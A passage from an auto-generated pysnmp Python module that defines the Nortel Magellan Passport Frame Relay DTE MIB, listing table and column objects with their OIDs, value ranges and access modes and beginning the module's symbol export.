if mibBuilder.loadTexts: frDteLeqMaxPackets.setStatus('mandatory')
frDteLeqMaxMsecData = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10, 1, 2), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(100, 60000)).clone(10000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLeqMaxMsecData.setStatus('mandatory')
frDteLeqMaxPercentMulticast = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 100)).clone(50)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLeqMaxPercentMulticast.setStatus('mandatory')
frDteLeqTimeToLive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(100, 60000)).clone(10000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLeqTimeToLive.setStatus('mandatory')
frDteLeqStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11), )
if mibBuilder.loadTexts: frDteLeqStatsTable.setStatus('mandatory')
frDteLeqStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqStatsEntry.setStatus('mandatory')
frDteLeqTimedOutPkt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTimedOutPkt.setStatus('mandatory')
frDteLeqHardwareForcedPkt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqHardwareForcedPkt.setStatus('mandatory')
frDteLeqForcedPktDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqForcedPktDiscards.setStatus('mandatory')
frDteLeqQueuePurgeDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 11, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqQueuePurgeDiscards.setStatus('mandatory')
frDteLeqTStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12), )
if mibBuilder.loadTexts: frDteLeqTStatsTable.setStatus('mandatory')
frDteLeqTStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqTStatsEntry.setStatus('mandatory')
frDteLeqTotalPktHandled = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTotalPktHandled.setStatus('mandatory')
frDteLeqTotalPktForwarded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTotalPktForwarded.setStatus('mandatory')
frDteLeqTotalPktQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTotalPktQueued.setStatus('mandatory')
frDteLeqTotalMulticastPkt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTotalMulticastPkt.setStatus('mandatory')
frDteLeqTotalPktDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 12, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqTotalPktDiscards.setStatus('mandatory')
frDteLeqCStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 13), )
if mibBuilder.loadTexts: frDteLeqCStatsTable.setStatus('mandatory')
frDteLeqCStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 13, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqCStatsEntry.setStatus('mandatory')
frDteLeqCurrentPktQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 13, 1, 1), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqCurrentPktQueued.setStatus('mandatory')
frDteLeqCurrentBytesQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 13, 1, 2), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqCurrentBytesQueued.setStatus('mandatory')
frDteLeqCurrentMulticastQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 13, 1, 3), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqCurrentMulticastQueued.setStatus('mandatory')
frDteLeqThrStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14), )
if mibBuilder.loadTexts: frDteLeqThrStatsTable.setStatus('mandatory')
frDteLeqThrStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqThrStatsEntry.setStatus('mandatory')
frDteLeqQueuePktThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqQueuePktThreshold.setStatus('mandatory')
frDteLeqPktThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqPktThresholdExceeded.setStatus('mandatory')
frDteLeqQueueByteThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqQueueByteThreshold.setStatus('mandatory')
frDteLeqByteThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqByteThresholdExceeded.setStatus('mandatory')
frDteLeqQueueMulticastThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqQueueMulticastThreshold.setStatus('mandatory')
frDteLeqMulThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqMulThresholdExceeded.setStatus('mandatory')
frDteLeqMemThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 14, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqMemThresholdExceeded.setStatus('mandatory')
frDteDlci = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8))
frDteDlciRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1), )
if mibBuilder.loadTexts: frDteDlciRowStatusTable.setStatus('mandatory')
frDteDlciRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteDlciIndex"))
if mibBuilder.loadTexts: frDteDlciRowStatusEntry.setStatus('mandatory')
frDteDlciRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1, 1, 1), RowStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciRowStatus.setStatus('mandatory')
frDteDlciComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciComponentName.setStatus('mandatory')
frDteDlciStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciStorageType.setStatus('mandatory')
frDteDlciIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 1023)))
if mibBuilder.loadTexts: frDteDlciIndex.setStatus('mandatory')
frDteDlciStateTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 10), )
if mibBuilder.loadTexts: frDteDlciStateTable.setStatus('mandatory')
frDteDlciStateEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteDlciIndex"))
if mibBuilder.loadTexts: frDteDlciStateEntry.setStatus('mandatory')
frDteDlciAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("locked", 0), ("unlocked", 1), ("shuttingDown", 2))).clone('unlocked')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciAdminState.setStatus('mandatory')
frDteDlciOperationalState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 10, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("disabled", 0), ("enabled", 1))).clone('disabled')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciOperationalState.setStatus('mandatory')
frDteDlciUsageState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 10, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("idle", 0), ("active", 1), ("busy", 2))).clone('idle')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciUsageState.setStatus('mandatory')
frDteDlciOperTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11), )
if mibBuilder.loadTexts: frDteDlciOperTable.setStatus('mandatory')
frDteDlciOperEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteDlciIndex"))
if mibBuilder.loadTexts: frDteDlciOperEntry.setStatus('mandatory')
frDteDlciDlciState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("invalid", 1), ("active", 2), ("inactive", 3))).clone('inactive')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciDlciState.setStatus('mandatory')
frDteDlciLastTimeChange = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 5), EnterpriseDateAndTime().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(0, 0), ValueSizeConstraint(19, 19), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciLastTimeChange.setStatus('mandatory')
frDteDlciSentFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciSentFrames.setStatus('mandatory')
frDteDlciSentOctets = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciSentOctets.setStatus('mandatory')
frDteDlciReceivedFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 9), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciReceivedFrames.setStatus('mandatory')
frDteDlciReceivedOctets = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 10), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciReceivedOctets.setStatus('mandatory')
frDteDlciReceivedFECNs = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 11), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciReceivedFECNs.setStatus('mandatory')
frDteDlciReceivedBECNs = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 12), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciReceivedBECNs.setStatus('mandatory')
frDteDlciDiscardedFrames = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciDiscardedFrames.setStatus('mandatory')
frDteDlciCreationType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("static", 1), ("dynamic", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciCreationType.setStatus('mandatory')
frDteDlciCreationTime = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 15), EnterpriseDateAndTime().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(0, 0), ValueSizeConstraint(19, 19), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDlciCreationTime.setStatus('mandatory')
frDteDlciRateEnforcement = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 17), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDlciRateEnforcement.setStatus('mandatory')
frDteDlciCommittedInformationRate = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 18), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 48000000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDlciCommittedInformationRate.setStatus('mandatory')
frDteDlciCommittedBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 19), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDlciCommittedBurst.setStatus('mandatory')
frDteDlciExcessBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 20), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDlciExcessBurst.setStatus('mandatory')
frDteDlciExcessBurstAction = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 8, 11, 1, 21), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("none", 1), ("setDeBit", 2))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDlciExcessBurstAction.setStatus('mandatory')
frDteVFramer = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9))
frDteVFramerRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1), )
if mibBuilder.loadTexts: frDteVFramerRowStatusTable.setStatus('mandatory')
frDteVFramerRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteVFramerIndex"))
if mibBuilder.loadTexts: frDteVFramerRowStatusEntry.setStatus('mandatory')
frDteVFramerRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteVFramerRowStatus.setStatus('mandatory')
frDteVFramerComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerComponentName.setStatus('mandatory')
frDteVFramerStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerStorageType.setStatus('mandatory')
frDteVFramerIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteVFramerIndex.setStatus('mandatory')
frDteVFramerProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 10), )
if mibBuilder.loadTexts: frDteVFramerProvTable.setStatus('mandatory')
frDteVFramerProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteVFramerIndex"))
if mibBuilder.loadTexts: frDteVFramerProvEntry.setStatus('mandatory')
frDteVFramerOtherVirtualFramer = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 10, 1, 1), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteVFramerOtherVirtualFramer.setStatus('mandatory')
frDteVFramerLogicalProcessor = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 10, 1, 2), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteVFramerLogicalProcessor.setStatus('mandatory')
frDteVFramerStateTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 11), )
if mibBuilder.loadTexts: frDteVFramerStateTable.setStatus('mandatory')
frDteVFramerStateEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteVFramerIndex"))
if mibBuilder.loadTexts: frDteVFramerStateEntry.setStatus('mandatory')
frDteVFramerAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 11, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("locked", 0), ("unlocked", 1), ("shuttingDown", 2))).clone('unlocked')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerAdminState.setStatus('mandatory')
frDteVFramerOperationalState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 11, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("disabled", 0), ("enabled", 1))).clone('disabled')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerOperationalState.setStatus('mandatory')
frDteVFramerUsageState = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 11, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("idle", 0), ("active", 1), ("busy", 2))).clone('idle')).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerUsageState.setStatus('mandatory')
frDteVFramerStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 12), )
if mibBuilder.loadTexts: frDteVFramerStatsTable.setStatus('mandatory')
frDteVFramerStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 12, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteVFramerIndex"))
if mibBuilder.loadTexts: frDteVFramerStatsEntry.setStatus('mandatory')
frDteVFramerFrmToOtherVFramer = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 12, 1, 2), PassportCounter64()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerFrmToOtherVFramer.setStatus('mandatory')
frDteVFramerFrmFromOtherVFramer = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 12, 1, 3), PassportCounter64()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerFrmFromOtherVFramer.setStatus('mandatory')
frDteVFramerOctetFromOtherVFramer = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 9, 12, 1, 5), PassportCounter64()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteVFramerOctetFromOtherVFramer.setStatus('mandatory')
frameRelayDteGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 1))
frameRelayDteGroupBE = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 1, 5))
frameRelayDteGroupBE00 = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 1, 5, 1))
frameRelayDteGroupBE00A = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 1, 5, 1, 2))
frameRelayDteCapabilities = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 3))
frameRelayDteCapabilitiesBE = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 3, 5))
frameRelayDteCapabilitiesBE00 = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 3, 5, 1))
frameRelayDteCapabilitiesBE00A = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 2, 32, 3, 5, 1, 2))
mibBuilder.exportSymbols("Nortel-Magellan-Passport-FrameRelayDteMIB", frDteStDlciCommittedInformationRate=frDteStDlciCommittedInformationRate, frDteLeq=frDteLeq, frDteLeqRowStatusEntry=frDteLeqRowStatusEntry, frDteRgOperationalState=frDteRgOperationalState, frDteComponentName=frDteComponentName, frDteStDlci=frDteStDlci, frDteVFramerOperationalState=frDteVFramerOperationalState, frDteDlciOperationalState=frDteDlciOperationalState, frameRelayDteCapabilitiesBE00A=frameRelayDteCapabilitiesBE00A, frDteRgIfIndex=frDteRgIfIndex, frDteStDlciHqComponentName=frDteStDlciHqComponentName, frDteIllegalDlci=frDteIllegalDlci, frDteFramerProvEntry=frDteFramerProvEntry, frDteStDlciHqTimedOutPkt=frDteStDlciHqTimedOutPkt, frDteStDlciHqIndex=frDteStDlciHqIndex, frDteStDlciRgLinkEntry=frDteStDlciRgLinkEntry, frDteRgBfrMacAddr=frDteRgBfrMacAddr, frDteStDlciHqStatsEntry=frDteStDlciHqStatsEntry, frDteLeqTotalPktHandled=frDteLeqTotalPktHandled, frDteStDlciHqCurrentBytesQueued=frDteStDlciHqCurrentBytesQueued, frDteRgStateTable=frDteRgStateTable, frDteOperStatusEntry=frDteOperStatusEntry, frDteLmiFullEnquiryInterval=frDteLmiFullEnquiryInterval, frDteVFramerIndex=frDteVFramerIndex, frDteCustomerIdentifier=frDteCustomerIdentifier, frDteStDlciIndex=frDteStDlciIndex, frDteStDlciHqRowStatus=frDteStDlciHqRowStatus, frDteDlciAdminState=frDteDlciAdminState, frDteRgIfEntryTable=frDteRgIfEntryTable, frDteStDlciHqTimeToLive=frDteStDlciHqTimeToLive, frDteXmitDiscardLmiInactive=frDteXmitDiscardLmiInactive, frDteLeqProvTable=frDteLeqProvTable, frDteErrType=frDteErrType, frDteFramerStatsTable=frDteFramerStatsTable, frDteLeqTotalPktQueued=frDteLeqTotalPktQueued, frDteFramerStateTable=frDteFramerStateTable, frDteVFramerUsageState=frDteVFramerUsageState, frDteRgAdminState=frDteRgAdminState, frDteLmiOperTable=frDteLmiOperTable, frDteStDlciExcessBurst=frDteStDlciExcessBurst, frDteFramerProvTable=frDteFramerProvTable, frDteStDlciHqMaxPercentMulticast=frDteStDlciHqMaxPercentMulticast, frDteRgBfr=frDteRgBfr, frDteSnmpOperStatus=frDteSnmpOperStatus, frDteDlciComponentName=frDteDlciComponentName, frDteDynDlciDefsProvTable=frDteDynDlciDefsProvTable, frDteDlciDlciState=frDteDlciDlciState, frDteLmiRowStatus=frDteLmiRowStatus, frDteStDlciRowStatus=frDteStDlciRowStatus, frDteLeqForcedPktDiscards=frDteLeqForcedPktDiscards, frDteVFramerAdminState=frDteVFramerAdminState, frDteLeqProvEntry=frDteLeqProvEntry, frDteLmiLmiStatus=frDteLmiLmiStatus, frDteLeqMaxPackets=frDteLeqMaxPackets, frDteDlciRateEnforcement=frDteDlciRateEnforcement, frDteDlcmiSequenceErr=frDteDlcmiSequenceErr, frDteLeqTStatsTable=frDteLeqTStatsTable, frDteDlciSentFrames=frDteDlciSentFrames, frDteUlpUnknownProtocol=frDteUlpUnknownProtocol, frDteStDlciIpCos=frDteStDlciIpCos, frDteDynDlciDefsCommittedInformationRate=frDteDynDlciDefsCommittedInformationRate, frDteLeqTotalPktForwarded=frDteLeqTotalPktForwarded, frDteDlcmiProtoErr=frDteDlcmiProtoErr, frDteLeqMulThresholdExceeded=frDteLeqMulThresholdExceeded, frDteRgProvTable=frDteRgProvTable, frDteVFramerOtherVirtualFramer=frDteVFramerOtherVirtualFramer, frDteFramerOperationalState=frDteFramerOperationalState, frDte=frDte, frDteStDlciHqCStatsTable=frDteStDlciHqCStatsTable, frDteStDlciRowStatusEntry=frDteStDlciRowStatusEntry, frDteRgStorageType=frDteRgStorageType, frDteVFramerStateEntry=frDteVFramerStateEntry, frDteStDlciStdRowStatus=frDteStDlciStdRowStatus, frDteIndex=frDteIndex, frDteFramerRowStatusEntry=frDteFramerRowStatusEntry, frDteRgProvEntry=frDteRgProvEntry, frDteDynDlciDefsComponentName=frDteDynDlciDefsComponentName, frDteStDlciHqQueueMulticastThreshold=frDteStDlciHqQueueMulticastThreshold, frDteLeqComponentName=frDteLeqComponentName, frDteErrEntry=frDteErrEntry, frDteLeqMaxMsecData=frDteLeqMaxMsecData, frDteLeqCurrentMulticastQueued=frDteLeqCurrentMulticastQueued, frDteRgBfrRowStatus=frDteRgBfrRowStatus, frDteRgBfrMacType=frDteRgBfrMacType, frDteFramerAborts=frDteFramerAborts, frDteFramerStateEntry=frDteFramerStateEntry, frDteRgOperStatusTable=frDteRgOperStatusTable, frDteStDlciLinkToRemoteGroup=frDteStDlciLinkToRemoteGroup, frDteFramerUtilTable=frDteFramerUtilTable, frDteVFramerFrmToOtherVFramer=frDteVFramerFrmToOtherVFramer, frDteLeqMemThresholdExceeded=frDteLeqMemThresholdExceeded, frameRelayDteGroupBE00A=frameRelayDteGroupBE00A, frDteProvTable=frDteProvTable, frameRelayDteGroupBE=frameRelayDteGroupBE, frDteLeqHardwareForcedPkt=frDteLeqHardwareForcedPkt, frDteFramerStorageType=frDteFramerStorageType, frDteErrFaultTime=frDteErrFaultTime, frDteFramerComponentName=frDteFramerComponentName, frDteVFramerRowStatus=frDteVFramerRowStatus, 